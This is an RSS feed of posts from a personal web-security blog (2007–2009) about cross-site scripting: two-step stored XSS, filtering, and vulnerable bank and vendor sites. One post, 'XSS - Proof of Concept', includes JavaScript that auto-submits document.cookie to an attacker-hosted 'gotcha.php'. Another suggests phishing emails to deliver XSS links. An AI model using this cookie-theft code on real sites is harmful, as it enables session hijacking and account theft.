<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Diary of Michael Daw &#187; XSSing</title>
	<atom:link href="http://michaeldaw.org/category/hacker-anthology/xss/feed" rel="self" type="application/rss+xml" />
	<link>http://michaeldaw.org</link>
	<description>Weekly humour</description>
	<lastBuildDate>Thu, 21 May 2009 15:45:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Browser Diligency</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/browser-diligency</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/browser-diligency#comments</comments>
		<pubDate>Tue, 15 Jul 2008 00:08:22 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/browser-diligency/</guid>
		<description><![CDATA[
A recent study has shown that 83.3% of firefox users are running the latest version, whilst only 47.6% of IE users are running the latest patched version. The report suggested that legacy entrprise applications maybe to blame. Some legacy software don&#8217;t allow software updates. But I&#8217;d throw in that firefox can download and install the [...]]]></description>
			<content:encoded><![CDATA[<p>
A recent <a href="http://www.theregister.co.uk/2008/07/03/browser_insecurity_survey/">study</a> has shown that 83.3% of firefox users are running the latest version, whilst only 47.6% of IE users are running the latest patched version. The report suggested that legacy entrprise applications maybe to blame. Some legacy software don&#8217;t allow software updates. But I&#8217;d throw in that firefox can download and install the latest version for you, which doesn&#8217;t appear to be the case for IE.</p>
<p>But look here Microsoft claim <a href="http://www.theregister.co.uk/2008/07/03/ie8_security_enhancements/">IE8 is more trustworthy</a> now! after they have just <a href="http://www.theregister.co.uk/2008/07/04/ms_july_patch_tuesday_pre_alert/">fixed</a> a code injection problem with vista.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/browser-diligency/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scripts in ASF files</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/scripts-in-asf-files</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/scripts-in-asf-files#comments</comments>
		<pubDate>Wed, 09 Jul 2008 22:01:40 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/scripts-in-asf-files/</guid>
		<description><![CDATA[A classic trick is to embed a script or text in a file with different extension. For example, saving a text file as jpg. When the browser comes to look it, it will likely try to resolve it as jpg. But there is a plethora of extensions out there. Some extensions activate applications (e.g. acrobat, [...]]]></description>
			<content:encoded><![CDATA[<p>A classic trick is to embed a script or text in a file with different extension. For example, saving a text file as jpg. When the browser comes to look it, it will likely try to resolve it as jpg. But there is a plethora of extensions out there. Some extensions activate applications (e.g. acrobat, windows media player), which read data in their own special way.<br />
For Advanced Systems Format (<a href="http://en.wikipedia.org/wiki/Advanced_Systems_Format">ASF</a>), the format uses combination of media and text streams. URLs can be embedded in a <a href="http://isc.sans.org/diary.html?storyid=4355">malicious ASF files</a>, which point to malware. Anti-virus software should pick up. But there should really be checks on the contents on the ASF file itself, which should stop surfing off to the Internet. A sans.org reader wrote a <a href="http://isc.sans.org/diary.html?storyid=4664">simple tool</a> for this.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/scripts-in-asf-files/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Take XSS to the bank</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/take-xss-to-the-bank</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/take-xss-to-the-bank#comments</comments>
		<pubDate>Sat, 05 Jul 2008 13:33:28 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/take-xss-to-the-bank/</guid>
		<description><![CDATA[Looks like HSBC has a number of scripting flaws.
]]></description>
			<content:encoded><![CDATA[<p>Looks like HSBC has a number of <a href="http://www.theregister.co.uk/2008/06/25/hsbc_scripting_flaws/">scripting flaws</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/take-xss-to-the-bank/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security sites and XSS</title>
		<link>http://michaeldaw.org/main-menu/security-sites-and-xss</link>
		<comments>http://michaeldaw.org/main-menu/security-sites-and-xss#comments</comments>
		<pubDate>Tue, 24 Jun 2008 23:08:00 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[Main]]></category>
		<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/main-menu/security-sites-and-xss/</guid>
		<description><![CDATA[You should always practice what you preach and the giants are not doing that all&#8230; Check out xssed!  Versign, McAfee and Symantec have been found to be vulnerable according to the register.
McAfee do not appear to be handling XSS very well as their  &#8216;hacker safe&#8217; certification does not cover all XSS according to [...]]]></description>
			<content:encoded><![CDATA[<p>You should always practice what you preach and the giants are not doing that all&#8230; Check out <a href="http://www.xssed.com/news/72/Verisign_McAfee_and_Symantec_sites_can_be_used_for_phishing_due_to_XSS">xssed</a>!  Versign, McAfee and Symantec have been found to be vulnerable according to the <a href="http://www.theregister.co.uk/2008/06/13/security_giants_xssed/'>register</a>.</p>
<p>McAfee do not appear to be handling XSS very well as their  <a href="http://www.theregister.co.uk/2008/04/29/mcafee_hacker_safe_sites_vulnerable/">&#8216;hacker safe&#8217;</a> certification does not cover all XSS according to <a href="http://holisticinfosec.blogspot.com/2008/04/still-not-hacker-safe-roll-video.html">holisticinfosec.org</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/main-menu/security-sites-and-xss/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1-step, 2-step XSS! (Part II)</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss-part-ii</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss-part-ii#comments</comments>
		<pubDate>Tue, 27 May 2008 23:31:39 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>
		<category><![CDATA[two-step xss]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss-part-ii/</guid>
		<description><![CDATA[I neglected to mention in the original post what the implications of two-step XSS there are.
The behaviour of some website to put in viewstate and cookies may well be used to fight CSRF. If that&#8217;s the case, it may be possible to inject malformed strings into the viewstate by forcing errors. So you may well [...]]]></description>
			<content:encoded><![CDATA[<p>I neglected to mention in the original post what the implications of two-step XSS there are.</p>
<p>The behaviour of some website to put in viewstate and cookies may well be used to fight <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a>. If that&#8217;s the case, it may be possible to inject malformed strings into the viewstate by forcing errors. So you may well see more of this, if people are fighting the difficult problem of CSRF. The viewstate is usually handled by the framework, so it looks like you can&#8217;t rely on the framework on everything! All I can really suggest is make sure if anything is echoed back to the user, it must be checked and filtered.</p>
<p>The only way to utilise the two-step attack is probably through phishing emails and getting the user to click on both links. This can be easily be done by simply saying try the first link first and if that fails, try the second.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss-part-ii/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1-step, 2-step XSS!</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss#comments</comments>
		<pubDate>Sat, 24 May 2008 18:44:16 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>
		<category><![CDATA[two-step xss]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss/</guid>
		<description><![CDATA[Everyone in security knows about XSS where malformed strings in the form of code can be injected into parameters of pages. But something that has been seen lately by yours truly is a two-step XSS attack. The basic idea is to inject malformed strings and script tgs into one page and then view another page, [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone in security knows about <a href="http://www.owasp.org/index.php/Cross_Site_Scripting">XSS</a> where malformed strings in the form of code can be injected into parameters of pages. But something that has been seen lately by yours truly is a two-step XSS attack. The basic idea is to inject malformed strings and script tgs into one page and then view another page, which will spit back the injected parameters.</p>
<p>A classic example is a registration application. I would enter my details including a malformed string. When the application is sent, it is likely to be stored on the server. When another page (e.g. a contacts page) accesses this information, it will display the malformed string. There you have an indirect two-step XSS.</p>
<p>Another scenario that I have seen is where a malformed string is injected into a query parameter and an error message is returned. However, when connecting to another page on the site, the injected parameter is realised and XSS occurs.  Something is definitely happening on the server. Simple navigation around the website does not normally cause this issue.</p>
<p>Why is this happening?</p>
<p>Well whilst looking at another website that the pieces of the puzzle fit into the place. When attempting to inject a parameter, an error page was returned. On deeper insection, it was noted that when a page is called, a number of page requests were made. Using one of those page requests, code was injected. However, the parameter was reset to the original parameters. These parameters were stored in a hidden viewstate field.</p>
<p>What does this mean?</p>
<p>If a page is called, it may well reuse whatever was set by a hidden viewstate or even a cookie. If that is the case, if you can inject a script tag and cause an error, it could be stored in the viewstate field and reused. This is a bit like when a program crashes, whatever was last on the program stack is remembered and used in debugging for example. The debugger may crash or even cause a buffer overflow when the program stack is assessed if it does not do proper sanitisation.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/1-step-2-step-xss/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript Filtering</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/javascript-filtering</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/javascript-filtering#comments</comments>
		<pubDate>Fri, 02 Nov 2007 07:14:22 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/javascript-filtering/</guid>
		<description><![CDATA[It&#8217;s the first time, I&#8217;ve seen a page that modifies Javascript on-the-fly to prevent it from causing XSS. So kudos to Juniper  for getting their SSL VPN solution to work so well. The clever thing is that when a externally referenced page is loaded, the Juniper Javascript is used to modify the Javascript references [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s the first time, I&#8217;ve seen a page that modifies Javascript on-the-fly to prevent it from causing XSS. So kudos to <a href="http://www.juniper.net/techpubs/software/ive/securitypatches/releasenotes/Juniper_Networks_NetScreen_Secure_Access_Release_Notes_50R61.pdf">Juniper </a> for getting their SSL VPN solution to work so well. The clever thing is that when a externally referenced page is loaded, the Juniper Javascript is used to modify the Javascript references in the external page. The Juniper Javascript are in files loaded from the SSL VPN server and perhaps more importantly, they are loaded up first before any action from the external page takes place. The SSL Javascript has code to assess DOM objects and deny any general skulduggery.<br />
There maybe ways to break it, including blatting out each and overriding every function and possibly using the <a href="http://www.gnucitizen.org/xssdb/application.htm"XSSdb</a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/javascript-filtering/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS &#8211; Proof of Concept</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/xss-proof-of-concept</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/xss-proof-of-concept#comments</comments>
		<pubDate>Fri, 02 Nov 2007 07:08:50 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/xss-proof-of-concept/</guid>
		<description><![CDATA[This goes back to the post about XSS tutorial and filtering.
Now as you may know, the litmus test for XSS is &#60;script&#62;alert(&#8217;michael daw woz ere&#8217;);&#60;/script&#62;. However, this proof may not satisify some companies who will handwave it off, claiming its not their problem. Allowing vulnerable code to be executed at your website is definitely in [...]]]></description>
			<content:encoded><![CDATA[<p>This goes back to the post about <a href="http://michaeldaw.org/hacker-anthology/xss/xss-tutorial-filtering">XSS tutorial and filtering</a>.<br />
Now as you may know, the litmus test for XSS is &lt;script&gt;alert(&#8217;michael daw woz ere&#8217;);&lt;/script&gt;. However, this proof may not satisify some companies who will handwave it off, claiming its not their problem. Allowing vulnerable code to be executed at your website is definitely in their court!<br />
I had to prepare myself for the careless attitude to XSS for a client by devising a proof of concept. Naturally in the end, I didn&#8217;t need to. But still, it is a worthwhile exercise.<br />
The bog standard way to use XSS is as a phishing attack. That is to generate a secondary website through client-side scripting, which could look like the current site. Only any details submitted would be to an attacker site. Alternatively, your site could be used as a place for a phishing attack on a different website. This stepping stone style attack will probably cause more embarrassment than anything else.<br />
But I was thinking, <a href="http://michaeldaw.org/hacker-anthology/xss/never-trust-a-stranger/">&#8220;Can you still make a XSS script attack to automatically upload information?&#8221;</a>. The short answer is yes, you can! This is despite well-documented fixes to iframes and <a href="http://ajaxian.com/archives/ajaxworld-magazine-json-versus-xml">htmlrequests</a>.<br />
Initially, I thought of three different ways to send information by simply visiting a URL with XSS.<br />
1. <a href="http://jennifermadden.com/javascript/location.html">window.location</a><br />
2. <a href="http://htmlhelp.com/reference/html40/head/meta.html">meta refresh</a><br />
3. <a href="http://www.javascript-coder.com/javascript-form/javascript-form-submit.phtml">form submit</a><br />
The first one does work. Of course, you do get redirected to another location, i.e. the attacker site. However, the attacker can have a page or script that bounces the user back to the attacked site.<br />
The second one doesn&#8217;t work. You can create a meta tag object and populate its attributes. However, nothing appears to happen. This probably makes sense, as a page without the meta refresh is already loaded. Simply adding a meta tag object is going to load anything. The following is some code fragment for this.</p>
<blockquote><p><i><br />
     var meta1 = document.createElement(&#8217;&lt;meta&gt;&#8217;);<br />
     var a;<br />
     a = document.createAttribute(&#8217;HTTP-EQUIV&#8217;);<br />
     a.nodeValue = &#8220;Refresh&#8221;;<br />
     meta1.setAttributeNode(a);</p>
<p>     a = document.createAttribute(&#8217;CONTENT&#8217;);<br />
     a.nodeValue = &#8220;2; URL=http://www.htmlhelp.com/&#8221;;<br />
     meta1.setAttributeNode(a);<br />
</i></p>
</blockquote>
<p>The final one does work. Internet Explorer will inform the user that you transferring to another site. However, Firefox does not appear to do this. Yes, you can create form and then incorporate any information from the attacked site into it and then submit on-the-fly. The following is code fragment from a script I wrote (please note that setAttributes method is simply a function that takes an object and an attribute (<a href="http://www.mojavelinux.com/articles/javascript_hashes.html">hash</a>) array and populates that object with those attributes.</p>
<blockquote><p><i><br />
      var form1 = document.createElement(&#8217;&lt;form&gt;&#8217;);<br />
      var a = new Array();<br />
      a['action'] = &#8220;http://&#8230;/cookie/gotcha.php&#8221;;<br />
      a['method'] = &#8220;get&#8221;;<br />
      a['name'] = &#8220;t&#8221;;<br />
      this.setAttributes(form1,a);</p>
<p>      form1.appendChild(input);</p>
<p>      input = document.createElement(&#8217;&lt;input&gt;&#8217;);<br />
      a = new Array();<br />
      a['name'] = &#8220;cookie2&#8243;;<br />
      a['type'] = &#8220;hidden&#8221;;<br />
      a['value'] = document.cookie;<br />
      this.setAttributes(input,a);</p>
<p>      form1.appendChild(input);<br />
</i></p>
</blockquote>
<p>If the same cross-domain fix that is applied to iframes and httprequests is used. This would stop main sites from using form and scripts from other popular sites. For example, the google search on the right hand side of this very page would not work! So due to lingustics, I don&#8217;t think that the cross domain approach can be used here.</p>
<p>As an aside, there are a lot of <a href="http://www.java2s.com/Code/JavaScriptReference/Javascript-Methods/CatalogJavascript-Methods.htm">Javascript methods</a> that can be used to do a lot of rendering for your web browser.</p>
<p>I&#8217;ve not quite got the Proof of Concept perfect (i.e. the server side needs to redirect to the attacked site) But I mentioning it now because there has been discussions about <a href="http://www.gnucitizen.org/blog/google-urchin-password-theft-madness">this</a> already on <a href="http://www.gnucitizen.org">gnucitizen</a>. This talks bout another a way to send information to a foreign site without user intervention using the weakness in image tags and timeouts. I would go further to say that the weakness lies in the &#8217;src&#8217; property of that tag. And even though this is unproven, I reckon other pluggable tags are affected. Some tags with the <a href="http://msdn2.microsoft.com/en-us/library/ms534643.aspx">src property</a> include applet, embed, img, input type=image, object, xml.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/xss-proof-of-concept/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Never trust a stranger&#8230;</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/never-trust-a-stranger</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/never-trust-a-stranger#comments</comments>
		<pubDate>Sat, 27 Oct 2007 17:53:53 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/never-trust-a-stranger/</guid>
		<description><![CDATA[No it&#8217;s not about stalking, this time. But trust relationships are firmly on my mind and I ain&#8217;t talking about my private life neither!
As you may know there&#8217;s lots of trust relationships in computing. Those of you who love Microsoft would know about trust relationships from back in the day. And to me, they are [...]]]></description>
			<content:encoded><![CDATA[<p>No it&#8217;s not about stalking, this time. But trust relationships are firmly on my mind and I ain&#8217;t talking about <a href="http://www.relationshipgold.com/Trust/index.htm">my private life</a> neither!<br />
As you may know there&#8217;s lots of trust relationships in computing. Those of you who love Microsoft would know about <a href="http://support.microsoft.com/kb/308195">trust relationships</a> from back in the day. And to me, they are truly something to think about (and has been thought about) when dealing with web applications and weaknesses in them. As well documented, <a href="http://jszen.blogspot.com/2005/03/cross-domain-security-woes.html">cross domain</a> security issues relating to iframes and recently <a href="http://www.devguru.com/technologies/xmldom/quickref/httpRequest_open.html">htmlrequests</a> (<a href="http://www.devx.com/webdev/Article/33024/1954">xmlhttprequest</a>). The latter allows absolute URLs in the open method. However, it&#8217;s almost useless and rarely used now as URIs are converted into the domain that the page resides from.</p>
<p>For an attacker (or in my case, developing a proof-of-concept) to exploit XSS so that information (e.g. cookies) is sent to the attacker&#8217;s site, the httprequest looks like it is blocked. The standard XSS-phishing site attack will always be available but this requires user intervention (or dumbness). However, the question is &#8220;Can you still make a XSS script attack to automatically upload information?&#8221; With iframes and httprequests obviously out of the question, this looks hard! Though, I can still think of 3 or 4 ways around this, I need to try them out first. But let&#8217;s just say, you have to go oldskule for most of these ideas. Mind you, if you and I can think of any, they are probably blocked&#8230;</p>
<p>On the flipside to this, this makes it very awkward for sharing information between sites on-the-fly, which is the key to web2.0, (social networks, blogs, etc). The work around is to incorporate sharing information techniques in server-side scripts rather than client-side. This could be opened up slightly by having&#8230; yes you&#8217;ve guessed it&#8230; &#8220;trust relationships&#8221;. A site could instill certain friendly domains as part of the server-side scripts to client browsers. The problem with this though is, it has to be enforced that the trust domains cannot be changed at the client.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/never-trust-a-stranger/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS tutorial &amp; filtering</title>
		<link>http://michaeldaw.org/hacker-anthology/xss/xss-tutorial-filtering</link>
		<comments>http://michaeldaw.org/hacker-anthology/xss/xss-tutorial-filtering#comments</comments>
		<pubDate>Thu, 25 Oct 2007 13:30:59 +0000</pubDate>
		<dc:creator>wooshy</dc:creator>
				<category><![CDATA[XSSing]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/hacker-anthology/xss/xss-tutorial-filtering/</guid>
		<description><![CDATA[I found this interesting site on XSS. It&#8217;s a good tutorial if you want to show a newbie/novice something. And certainly demonstrates XSS and cookie stealing quite handily.
http://www.steve.org.uk/Hacks/XSS/index.html
It&#8217;s a bit thin on the xss filtering side. There really should be a white paper on XSS filtering techniques. If not, why the hell not! The following [...]]]></description>
			<content:encoded><![CDATA[<p>I found this interesting site on XSS. It&#8217;s a good tutorial if you want to show a newbie/novice something. And certainly demonstrates XSS and cookie stealing quite handily.</p>
<p>http://www.steve.org.uk/Hacks/XSS/index.html</p>
<p>It&#8217;s a bit thin on the xss filtering side. There really should be a white paper on XSS filtering techniques. If not, why the hell not! The following looks like a good start&#8230;</p>
<p>http://www.ihtb.org/security/xss_hacking_exposed.txt</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/hacker-anthology/xss/xss-tutorial-filtering/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
